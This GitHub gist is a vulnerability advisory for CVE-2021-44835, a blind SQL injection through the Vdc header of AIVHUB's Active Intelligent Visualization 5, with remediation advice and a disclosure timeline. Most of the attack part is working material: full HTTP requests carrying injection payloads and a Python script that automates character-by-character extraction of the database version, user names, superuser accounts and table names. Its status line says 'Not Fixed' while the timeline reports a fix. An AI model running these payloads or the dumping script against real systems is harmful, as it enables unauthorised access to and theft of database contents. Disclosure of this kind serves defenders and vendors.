Skip to content

Instantly share code, notes, and snippets.

@rntcruz23
Last active December 31, 2022 15:38
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save rntcruz23/199782fb65b7dc3c4492d168770b71e5 to your computer and use it in GitHub Desktop.
Save rntcruz23/199782fb65b7dc3c4492d168770b71e5 to your computer and use it in GitHub Desktop.
CVE-2021-44835

CVE-2021-44835

=======================================================================

  • Blind SQLi
  • Affected Product: Active Intelligent Visualization - 5
  • Vendor: AIVHUB LTD
  • Severity: High
  • Vulnerability Class: SQL Injection
  • Status: Not Fixed
  • Author(s): Renato Cruz =======================================================================

Summary

The Vdc header is used in a SQL query without being sanitized. Breaking the header leaks the query being used:

SELECT COALESCE(SUM(CASE WHEN notification_type = 'INFORMATIVE' AND readStatus=0 THEN 1 ELSE 0 END),0) || ';' || COALESCE( --- snip --- THEN 1 ELSE 0 END),0) || ';' || COALESCE( --- snip --- THEN 1 ELSE 0 END),0) || ';' || SUM((CASE WHEN --- snip --- THEN COALESCE(c.user_count,0) ELSE 0 END)) AS unreadCount  FROM < Vdc Header >_ai_notification 

It is possible to understand that the injection point is in the < Vdc > Header > portion. The SELECT part of the query shows what columns and table names the query is expecting, and as the attacker controls the FROM field, it is possible to create a subquery that will return those expected fields in order to create a valid query.

The PoC below can be used to demonstrate that it is possible to build a valid query, by passing the correct fields as explained previously, and that by controlling the values of those fields, it is possible to control the response header notificationCount: 1;0;0

(SELECT 'INFORMATIVE' AS notification_type, 0 AS readstatus, ---snip--) AS n LEFT JOIN (SELECT --- snip ---) AS c ON n.id=c.notification

From this PoC, the value of readstatus can be abused to perform a blind SQLi, because if it's value is True (1), then the notificationStatus header will have value 0;0;0;0 On the other hand, if the readstatus value is False (0), the notificationStatus header will have value 1;0;0;0

With this payload, the attacker can ask True or False questions to the database, and build a simple script to automate these questions, and dump all information from the database with a blind SQL injection attack.

Reproduction Steps

To inject the query, send the payload in the Vdc header, as shown in the following request:

POST /aiv/rest/dataset/spreviewNew HTTP/1.1
Host: <host>
Pt: *Original Pt Header*
Vdc: *SQL query*
Id: *user id*
Owner_roles: *original Owner_roles header*
Roles: *roles*
Logs_category: *log category*
Dc: *Dc header*
Timezone: *Timezone*
Brtm: *Brtm header*
Username: *user name"
Content-Type: application/json
X-Xsrftoken: *CSRF token*
Token: *User token*
Owner: *Owner*

*original data*

To confirm the blind SQLi, query the DB for the first character of version() and compare with the letter P (Postgres):

POST /aiv/rest/dataset/spreviewNew HTTP/1.1
Host: <host>
Pt: *Original Pt Header*
Vdc: (select 'INFORMATIVE' as notification_type, (substr(version(),1,1)='P')::int as readstatus, version() as sender, '1' as id, 'ALL' as userName) as n LEFT JOIN (select 1 as owner_count, 1 as user_count, '1' as notification) as c on n.id=c.notification -- c
Id: *user id*
Owner_roles: *original Owner_roles header*
Roles: *roles*
Logs_category: *log category*
Dc: *Dc header*
Timezone: *Timezone*
Brtm: *Brtm header*
Username: *user name"
Content-Type: application/json
X-Xsrftoken: *CSRF token*
Token: *User token*
Owner: *Owner*

*original data*

This request should return a response with the notificationCount: 0;0;0;0 header. On the other hand, if the first letter is compared with the letter X, for example:

POST /aiv/rest/dataset/spreviewNew HTTP/1.1
Host: <host>
Pt: *Original Pt Header*
Vdc: (select 'INFORMATIVE' as notification_type, (substr(version(),1,1)='X')::int as readstatus, version() as sender, '1' as id, 'ALL' as userName) as n LEFT JOIN (select 1 as owner_count, 1 as user_count, '1' as notification) as c on n.id=c.notification -- c
Id: *user id*
Owner_roles: *original Owner_roles header*
Roles: *roles*
Logs_category: *log category*
Dc: *Dc header*
Timezone: *Timezone*
Brtm: *Brtm header*
Username: *user name"
Content-Type: application/json
X-Xsrftoken: *CSRF token*
Token: *User token*
Owner: *Owner*
Content-Length: 168

*original data*

Then the response should have the notificationCount: 1;0;0;0 header. Using this it is possible to automate this query to dump information from the database.

Remediation

  • Use prepared statements to associate user input to data used in the queries, ensuring the query structure is kept intact.
  • Ensure user input is used as additional parameters in the prepared statement function. Do not perform string concatenation.
  • Always validate and sanitize input data.
  • Escape all user supplied input

Disclosure Timeline

  • 26-10-2021: Vulnerability disclosed to DeltaRM
  • 28-10-2021: Acknowlegement from vendor
  • 11-12-2021: Fix released by the vendor
  • 10-01-2022: Retest performed, vulnerability fixed
import requests
import string
chars = string.ascii_lowercase + string.digits + string.punctuation + ' ' + '<>'
host="" # Insert AIV host
def get_token():
data = {} # Insert authentication data
r = requests.post("https://" + host + "/aiv/eAuth",json=data)
return r.json()[0]['token']
def execute(function):
print(f"[*] Executing {function}")
endpoint = "/aiv/rest/dataset/spreviewNew"
token = "" # Insert DeltaRM Token header
data={} # Insert random data
sql=f"(select 'INFORMATIVE' as notification_type, (lower(substr({function}, %d, 1)) = '%c')::int as readstatus, version() as sender, '1' as id, 'ALL' as userName) as n LEFT JOIN (select 1 as owner_count, 1 as user_count, '1' as notification) as c on n.id=c.notification -- c"
i = 1
c = 'P'
while True:
for c in chars:
headers = {
"Pt": "", # Insert original Pt header
"Vdc": sql%(i,c),
"Id": "", # Insert original Id header
"Owner_roles": "", # Insert original Owner_roles header
"Roles": "", # Insert original Rules header
"Logs_category": "", # Insert original Logs_category header
"Dc": "", # Insert original Dc header
"Timezone": "", # Insert original Timezone header
"Brtm": "", # Insert original Brtm header
"Username": "", # Insert original Username header
"X-Xsrftoken": "", # Insert CSRF token
"Token": token,
"Owner": "" # Insert original Owner header
}
r = requests.post("https://"+host+endpoint, headers=headers, json=data)
if r.content == b'Session Expired':
print("\t[-] Session Expired, getting new token")
token = get_token()
r = requests.post("https://"+host+endpoint, headers=headers, json=data)
try:
if r.headers['notificationCount'][0]=='0':
print(c, end='', flush=True)
break
except:
continue
else:
break
i += 1
print()
# Dump some DB information
execute("version()")
execute("current_user")
execute("user")
execute("session_user")
execute("(SELECT usename FROM pg_user WHERE usesuper IS TRUE LIMIT 1)")
for i in range(2):
execute(f"(SELECT usename FROM pg_user LIMIT 1 OFFSET {i})")
for i in range(10):
execute(f"(select table_name from information_schema.tables limit 1 offset {i})")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment